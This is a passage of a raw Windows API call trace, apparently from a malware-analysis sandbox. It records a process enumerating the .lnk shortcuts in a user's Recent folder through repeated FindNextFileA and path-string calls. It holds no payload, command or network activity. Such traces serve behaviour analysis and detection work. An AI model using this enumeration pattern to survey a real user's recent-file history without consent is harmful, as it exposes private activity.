HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OUnSf4cYXz2I.lnk") returned="OUnSf4cYXz2I.lnk" [0088.748] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.748] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.748] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4080920, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe6f378e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe6f5da40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x195a, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="PcO9VDlM9.lnk", cAlternateFileName="PCO9VD~1.LNK")) returned 1 [0088.748] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.748] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\P8EWdbtKQ.lnk") returned="P8EWdbtKQ.lnk" [0088.748] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.748] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.748] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe52cd240, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe52cd240, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe52cd240, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1aa8, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="pgfP_RDHD43 CeHO78TZ.lnk", cAlternateFileName="PGFP_R~1.LNK")) returned 1 [0088.748] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.749] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PcO9VDlM9.lnk") returned="PcO9VDlM9.lnk" [0088.749] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.749] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.749] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe41b1420, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe41b1420, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe41b1420, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x2b2, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="qKeL.lnk", cAlternateFileName="")) returned 1 [0088.749] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.749] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pgfP_RDHD43 CeHO78TZ.lnk") returned="pgfP_RDHD43 CeHO78TZ.lnk" [0088.749] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.749] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.749] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6f378e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe6f378e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe6f378e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x205f, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="qlduoZIo3 O.lnk", cAlternateFileName="QLDUOZ~1.LNK")) returned 1 [0088.749] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.749] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qKeL.lnk") returned="qKeL.lnk" [0088.750] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.750] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.750] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe00879e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe42499a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe42499a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1fe1, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="RcqkTT1i C4O9vwjXatN.lnk", cAlternateFileName="RCQKTT~1.LNK")) returned 1 [0088.750] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.750] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qlduoZIo3 O.lnk") returned="qlduoZIo3 O.lnk" [0088.750] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.750] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.750] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5f4c5c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe5f4c5c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe5f4c5c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1bd8, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="rKpaiYK vA3eVdCPK.flv.lnk", cAlternateFileName="RKPAIY~1.LNK")) returned 1 [0088.750] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.750] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RcqkTT1i C4O9vwjXatN.lnk") returned="RcqkTT1i C4O9vwjXatN.lnk" [0088.751] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.751] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.751] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf585420, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe6eeb620, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe6eeb620, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x303, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="Roaming.lnk", cAlternateFileName="")) returned 1 [0088.751] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.751] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rKpaiYK vA3eVdCPK.flv.lnk") returned="rKpaiYK vA3eVdCPK.flv.lnk" [0088.751] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.751] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.751] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4354340, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe4354340, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe4354340, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1ab6, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="RTKbR3eDoLJmbjN.lnk", cAlternateFileName="RTKBR3~1.LNK")) returned 1 [0088.751] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.751] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk") returned="Roaming.lnk" [0088.751] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.752] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.752] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe43a0600, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe43a0600, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe43a0600, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="ru 8pQdw1p.lnk", cAlternateFileName="RU8PQD~1.LNK")) returned 1 [0088.752] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.752] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RTKbR3eDoLJmbjN.lnk") returned="RTKbR3eDoLJmbjN.lnk" [0088.752] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.752] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.752] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4627d60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe5fe4b40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe5fe4b40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x9ce, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="rXdfbudZTRGnJQiHbS.lnk", cAlternateFileName="RXDFBU~1.LNK")) returned 1 [0088.752] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.752] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ru 8pQdw1p.lnk") returned="ru 8pQdw1p.lnk" [0088.752] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.753] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.753] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe237dd00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe237dd00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe237dd00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x2716, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="RZbn-AM.lnk", cAlternateFileName="")) returned 1 [0088.753] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.753] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rXdfbudZTRGnJQiHbS.lnk") returned="rXdfbudZTRGnJQiHbS.lnk" [0088.753] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.753] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.753] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3427700, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe6e79200, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe6e79200, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xe9c, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="SBc7u9p4Jsustm4F2.lnk", cAlternateFileName="SBC7U9~1.LNK")) returned 1 [0088.753] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.753] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RZbn-AM.lnk") returned="RZbn-AM.lnk" [0088.753] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.753] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.754] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37df960, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe37df960, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe37df960, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="Sk4mjCI.lnk", cAlternateFileName="")) returned 1 [0088.754] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.754] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SBc7u9p4Jsustm4F2.lnk") returned="SBc7u9p4Jsustm4F2.lnk" [0088.754] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.754] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.754] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1a90a80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe607d0c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe607d0c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xe3d, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="SmkSdLqm.lnk", cAlternateFileName="")) returned 1 [0088.754] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.754] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Sk4mjCI.lnk") returned="Sk4mjCI.lnk" [0088.754] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.754] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.754] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3805ac0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3805ac0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3805ac0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa6e, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="StCQlRsdl1bKaIJ.lnk", cAlternateFileName="STCQLR~1.LNK")) returned 1 [0088.755] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.755] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SmkSdLqm.lnk") returned="SmkSdLqm.lnk" [0088.755] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.755] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.755] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f797e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1f797e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1f9f940, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x221, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="T8It.lnk", cAlternateFileName="")) returned 1 [0088.755] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.755] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\StCQlRsdl1bKaIJ.lnk") returned="StCQlRsdl1bKaIJ.lnk" [0088.755] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.755] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.755] FindNextFileA 